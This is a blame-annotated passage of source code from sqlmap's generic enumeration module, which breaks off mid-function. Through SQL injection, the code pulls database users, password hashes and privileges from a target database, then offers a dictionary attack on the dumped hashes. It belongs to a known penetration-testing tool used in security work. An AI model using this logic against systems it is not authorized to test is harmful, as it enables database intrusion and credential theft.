sqlmap/plugins/generic/enumeration.py

2510 lines
104 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2012-07-12 21:38:03 +04:00
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
import re
from extra.safe2bin.safe2bin import safechardecode
2008-10-15 19:38:22 +04:00
from lib.core.agent import agent
2012-02-16 13:46:41 +04:00
from lib.core.bigarray import BigArray
from lib.core.common import arrayizeValue
from lib.core.common import Backend
2011-07-03 02:48:56 +04:00
from lib.core.common import clearConsoleLine
2010-09-30 16:35:45 +04:00
from lib.core.common import dataToStdout
2011-08-09 18:20:25 +04:00
from lib.core.common import filterPairValues
2012-02-16 18:42:28 +04:00
from lib.core.common import getLimitRange
2012-07-10 03:27:08 +04:00
from lib.core.common import getSQLSnippet
2010-06-02 16:45:40 +04:00
from lib.core.common import getUnicode
from lib.core.common import isInferenceAvailable
2012-06-14 17:38:53 +04:00
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
2010-12-18 18:57:47 +03:00
from lib.core.common import isTechniqueAvailable
2008-10-15 19:38:22 +04:00
from lib.core.common import parsePasswordHash
from lib.core.common import parseSqliteTableSchema
2010-09-30 16:35:45 +04:00
from lib.core.common import popValue
2012-05-04 02:34:18 +04:00
from lib.core.common import prioritySortColumns
2010-09-30 16:35:45 +04:00
from lib.core.common import pushValue
from lib.core.common import randomStr
from lib.core.common import readInput
2011-03-30 01:54:15 +04:00
from lib.core.common import safeSQLIdentificatorNaming
2011-06-08 18:35:23 +04:00
from lib.core.common import singleTimeWarnMessage
from lib.core.common import strToHex
from lib.core.common import unArrayizeValue
2011-03-30 01:54:15 +04:00
from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.convert import utf8decode
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
2010-09-30 23:45:23 +04:00
from lib.core.data import paths
2008-10-15 19:38:22 +04:00
from lib.core.data import queries
2011-02-19 17:07:08 +03:00
from lib.core.dicts import firebirdTypes
2011-03-09 14:37:37 +03:00
from lib.core.dicts import mysqlPrivs
from lib.core.dicts import pgsqlPrivs
from lib.core.dicts import firebirdPrivs
from lib.core.dicts import db2Privs
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
2010-12-10 16:04:36 +03:00
from lib.core.enums import EXPECTED
2010-12-18 18:57:47 +03:00
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
2008-10-15 19:38:22 +04:00
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException
2010-09-30 23:45:23 +04:00
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setOs
2012-03-14 17:52:23 +04:00
from lib.core.settings import BLANK
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
from lib.core.settings import CONCAT_ROW_DELIMITER
from lib.core.settings import CONCAT_VALUE_DELIMITER
2012-02-16 18:42:28 +04:00
from lib.core.settings import CURRENT_DB
from lib.core.settings import MAX_INT
2012-03-14 17:52:23 +04:00
from lib.core.settings import NULL
2012-07-10 03:53:07 +04:00
from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import SQL_STATEMENTS
2008-10-15 19:38:22 +04:00
from lib.core.shell import autoCompletion
2011-01-07 19:39:47 +03:00
from lib.core.threads import getCurrentThreadData
from lib.parse.banner import bannerParser
2008-10-15 19:38:22 +04:00
from lib.request import inject
from lib.techniques.brute.use import columnExists
2010-11-09 12:42:43 +03:00
from lib.techniques.brute.use import tableExists
from lib.utils.hash import attackDumpedTable
from lib.utils.hash import attackCachedUsersPasswords
2008-10-15 19:38:22 +04:00
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self):
kb.data.has_information_schema = False
2011-04-30 17:20:05 +04:00
kb.data.banner = None
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.hostname = ""
2011-04-30 17:20:05 +04:00
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedUsersRoles = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.cachedCounts = {}
kb.data.dumpedTable = {}
kb.data.processChar = None
2008-10-15 19:38:22 +04:00
def getBanner(self):
if not conf.getBanner:
return
2010-12-27 19:55:27 +03:00
if kb.data.banner is None:
infoMsg = "fetching banner"
logger.info(infoMsg)
2010-03-04 17:23:52 +03:00
2012-02-08 17:55:50 +04:00
if Backend.isDbms(DBMS.DB2):
rootQuery = queries[DBMS.DB2].banner
for query in (rootQuery.query, rootQuery.query2):
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
if kb.data.banner:
break
else:
query = queries[Backend.getIdentifiedDbms()].banner.query
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
bannerParser(kb.data.banner)
2010-12-27 19:55:27 +03:00
if conf.os and conf.os == "windows":
2012-02-22 19:53:36 +04:00
kb.bannerFp["type"] = set(["Windows"])
2010-12-27 19:55:27 +03:00
elif conf.os and conf.os == "linux":
2012-02-22 19:53:36 +04:00
kb.bannerFp["type"] = set(["Linux"])
2008-10-15 19:38:22 +04:00
2010-12-27 19:55:27 +03:00
elif conf.os:
2012-02-22 19:53:36 +04:00
kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])])
2008-10-15 19:38:22 +04:00
2011-01-02 11:01:01 +03:00
if conf.os:
setOs()
return kb.data.banner
2008-10-15 19:38:22 +04:00
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
query = queries[Backend.getIdentifiedDbms()].current_user.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentUser:
kb.data.currentUser = unArrayizeValue(inject.getValue(query))
2008-10-15 19:38:22 +04:00
return kb.data.currentUser
2008-10-15 19:38:22 +04:00
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
query = queries[Backend.getIdentifiedDbms()].current_db.query
2008-10-15 19:38:22 +04:00
if not kb.data.currentDb:
2011-04-15 12:15:21 +04:00
kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
2008-10-15 19:38:22 +04:00
return kb.data.currentDb
2008-10-15 19:38:22 +04:00
def getHostname(self):
infoMsg = "fetching server hostname"
logger.info(infoMsg)
query = queries[Backend.getIdentifiedDbms()].hostname.query
if not kb.data.hostname:
kb.data.hostname = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
return kb.data.hostname
def isDba(self, user=None):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL):
self.getCurrentUser()
query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None)
2011-02-20 20:28:06 +03:00
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
else:
query = queries[Backend.getIdentifiedDbms()].is_dba.query
query = agent.forgeCaseStatement(query)
2012-07-11 13:58:47 +04:00
kb.data.isDba = unArrayizeValue(inject.getValue(query, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY))
2012-02-09 13:53:40 +04:00
return kb.data.isDba == "1"
2008-10-15 19:38:22 +04:00
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].users
2008-10-15 19:38:22 +04:00
2012-02-22 19:53:36 +04:00
condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
2008-10-15 19:38:22 +04:00
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if not isNoneValue(value):
kb.data.cachedUsers = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if condition:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
2012-02-16 18:42:28 +04:00
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition:
query = rootQuery.blind.query2 % index
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % index
user = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if user:
kb.data.cachedUsers.append(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsers:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedUsers
2008-10-15 19:38:22 +04:00
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
2008-10-15 19:38:22 +04:00
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
2008-10-15 19:38:22 +04:00
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.SYBASE):
2011-02-20 15:07:32 +03:00
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
2012-02-22 19:53:36 +04:00
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)
2011-02-20 15:07:32 +03:00
if retVal:
2011-08-09 18:20:25 +04:00
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
# password = "0x%s" % strToHex(password)
if user not in kb.data.cachedUsersPasswords:
2011-02-20 15:07:32 +03:00
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2011-02-20 15:07:32 +03:00
getCurrentThreadData().disableStdOut = False
else:
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
2011-08-09 18:20:25 +04:00
for user, password in filterPairValues(value):
if not user or user == " ":
continue
2008-10-15 19:38:22 +04:00
2011-08-09 18:20:25 +04:00
password = parsePasswordHash(password)
2008-10-15 19:38:22 +04:00
2012-02-22 19:53:36 +04:00
if user not in kb.data.cachedUsersPasswords:
2011-08-09 18:20:25 +04:00
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.SYBASE):
2011-02-20 19:00:13 +03:00
getCurrentThreadData().disableStdOut = True
2011-02-20 15:07:32 +03:00
randStr = randomStr()
query = rootQuery.inband.query
2011-02-20 19:00:13 +03:00
2012-02-22 19:53:36 +04:00
retVal = self.__pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)
2011-02-20 15:07:32 +03:00
if retVal:
2011-08-09 18:20:25 +04:00
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
2011-02-20 15:07:32 +03:00
password = "0x%s" % strToHex(password)
if user not in kb.data.cachedUsersPasswords:
2011-02-20 15:07:32 +03:00
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
2011-02-20 19:00:13 +03:00
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
for user in users:
if user in retrievedUsers:
2011-02-20 19:00:13 +03:00
continue
2008-10-15 19:38:22 +04:00
2011-04-30 17:20:05 +04:00
infoMsg = "fetching number of password hashes "
2011-02-20 19:00:13 +03:00
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
2011-02-20 19:00:13 +03:00
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the number of password "
2011-02-20 19:00:13 +03:00
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
2011-04-30 17:20:05 +04:00
passwords = []
2008-10-15 19:38:22 +04:00
2012-02-16 18:42:28 +04:00
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
2011-02-20 19:00:13 +03:00
for index in indexRange:
if Backend.isDbms(DBMS.MSSQL):
2011-02-20 19:00:13 +03:00
if Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user)
else:
query = rootQuery.blind.query % (user, index, user)
else:
query = rootQuery.blind.query % (user, index)
password = inject.getValue(query, inband=False, error=False)
password = parsePasswordHash(password)
passwords.append(password)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the password "
2011-02-20 19:00:13 +03:00
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
2008-10-15 19:38:22 +04:00
2011-02-20 19:00:13 +03:00
retrievedUsers.add(user)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPasswords:
2011-06-08 15:33:45 +04:00
errMsg = "unable to retrieve the password hashes for the "
errMsg += "database users (most probably because the session "
errMsg += "user has no read privileges over the relevant "
errMsg += "system database table)"
2008-10-15 19:38:22 +04:00
raise sqlmapNoneDataException, errMsg
else:
for user in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))
2008-10-15 19:38:22 +04:00
message = "do you want to perform a dictionary-based attack "
message += "against retrieved password hashes? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
pass
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
attackCachedUsersPasswords()
return kb.data.cachedUsersPasswords
2008-10-15 19:38:22 +04:00
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
2012-02-22 19:53:36 +04:00
dbaCondition = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges)
2008-10-15 19:38:22 +04:00
# In Oracle the DBA privilege means that the
# user is DBA
2012-02-22 19:53:36 +04:00
dbaCondition |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges)
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
2012-02-22 19:53:36 +04:00
dbaCondition |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges)
2008-10-15 19:38:22 +04:00
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
2012-02-22 19:53:36 +04:00
dbaCondition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges)
2008-10-15 19:38:22 +04:00
# In Firebird there is no specific privilege that means
# that the user is DBA
# TODO: confirm
2012-02-22 19:53:36 +04:00
dbaCondition |= (Backend.isDbms(DBMS.FIREBIRD) and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges)
2008-10-15 19:38:22 +04:00
return dbaCondition
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
2008-10-15 19:38:22 +04:00
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
2008-10-15 19:38:22 +04:00
# Set containing the list of DBMS administrators
areAdmins = set()
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
elif Backend.isDbms(DBMS.ORACLE) and query2:
2011-04-30 17:20:05 +04:00
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
2008-10-15 19:38:22 +04:00
else:
2011-04-30 17:20:05 +04:00
query = rootQuery.inband.query
condition = rootQuery.inband.condition
2008-10-15 19:38:22 +04:00
if conf.user:
query += " WHERE "
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
2011-07-03 03:00:22 +04:00
query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
2008-10-15 19:38:22 +04:00
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
values = inject.getValue(query, blind=False)
if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
return self.getPrivileges(query2=True)
2008-10-15 19:38:22 +04:00
if not isNoneValue(values):
2008-10-15 19:38:22 +04:00
for value in values:
2011-04-30 17:20:05 +04:00
user = None
2008-10-15 19:38:22 +04:00
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
2011-03-09 15:06:32 +03:00
if int(privilege) == 1:
privileges.add(pgsqlPrivs[count])
2008-10-15 19:38:22 +04:00
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
2012-02-22 19:53:36 +04:00
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
2008-10-15 19:38:22 +04:00
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-03-09 15:06:32 +03:00
if privilege.upper() == "Y":
privileges.add(mysqlPrivs[count])
2008-10-15 19:38:22 +04:00
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split(",")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in ("Y", "G"):
for position, db2Priv in db2Privs.items():
if position == i:
privilege += ", " + db2Priv
i += 1
privileges.add(privilege)
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
2012-02-22 19:53:36 +04:00
if user in kb.data.cachedUsersPrivileges:
kb.data.cachedUsersPrivileges[user].extend(privileges)
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
conditionChar = " LIKE "
else:
conditionChar = "="
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
2008-10-15 19:38:22 +04:00
retrievedUsers = set()
for user in users:
if user in retrievedUsers:
continue
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
user = "%%%s%%" % user
2008-10-15 19:38:22 +04:00
2011-04-30 17:20:05 +04:00
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % user
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, user)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.count2 % user
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2012-02-20 14:24:55 +04:00
if Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % user
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
privileges = set()
2012-02-16 18:42:28 +04:00
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, user, index)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, user)
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.query % (user, index)
privilege = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in pgsqlPrivs.items():
2008-10-15 19:38:22 +04:00
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
2012-02-22 19:53:36 +04:00
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
2008-10-15 19:38:22 +04:00
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
2008-10-15 19:38:22 +04:00
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in mysqlPrivs.items():
2008-10-15 19:38:22 +04:00
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(firebirdPrivs[privilege.strip()])
2008-10-15 19:38:22 +04:00
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split(",")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in ("Y", "G"):
for position, db2Priv in db2Privs.items():
if position == i:
privilege += ", " + db2Priv
i += 1
privileges.add(privilege)
2008-10-15 19:38:22 +04:00
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
break
2008-10-15 19:38:22 +04:00
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
2008-10-15 19:38:22 +04:00
else:
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the privileges "
2008-10-15 19:38:22 +04:00
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
2011-04-30 17:20:05 +04:00
errMsg = "unable to retrieve the privileges "
2008-10-15 19:38:22 +04:00
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
2012-02-22 19:53:36 +04:00
return (kb.data.cachedUsersPrivileges, areAdmins)
2008-10-15 19:38:22 +04:00
def getRoles(self, query2=False):
2011-04-30 17:20:05 +04:00
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
warnMsg += "exist. sqlmap will enumerate privileges instead"
2010-03-26 23:45:22 +03:00
logger.warn(warnMsg)
return self.getPrivileges(query2)
2008-10-15 19:38:22 +04:00
def getDbs(self):
if len(kb.data.cachedDbs) > 0:
return kb.data.cachedDbs
infoMsg = None
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
warnMsg = "information_schema not available, "
2008-10-15 19:38:22 +04:00
warnMsg += "back-end DBMS is MySQL < 5. database "
2008-10-26 20:00:07 +03:00
warnMsg += "names will be fetched from 'mysql' database"
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
elif Backend.isDbms(DBMS.ORACLE):
2011-04-30 17:20:05 +04:00
warnMsg = "schema names are going to be used on Oracle "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
elif Backend.isDbms(DBMS.DB2):
warnMsg = "schema names are going to be used on IBM DB2 "
warnMsg += "for enumeration as the counterpart to database "
warnMsg += "names on other DBMSes"
logger.warn(warnMsg)
infoMsg = "fetching database (schema) names"
else:
infoMsg = "fetching database names"
if infoMsg:
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
2008-10-15 19:38:22 +04:00
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.inband.query
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if not isNoneValue(value):
kb.data.cachedDbs = arrayizeValue(value)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2
2008-10-15 19:38:22 +04:00
else:
query = rootQuery.blind.count
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of databases"
logger.error(errMsg)
else:
2012-02-16 18:42:28 +04:00
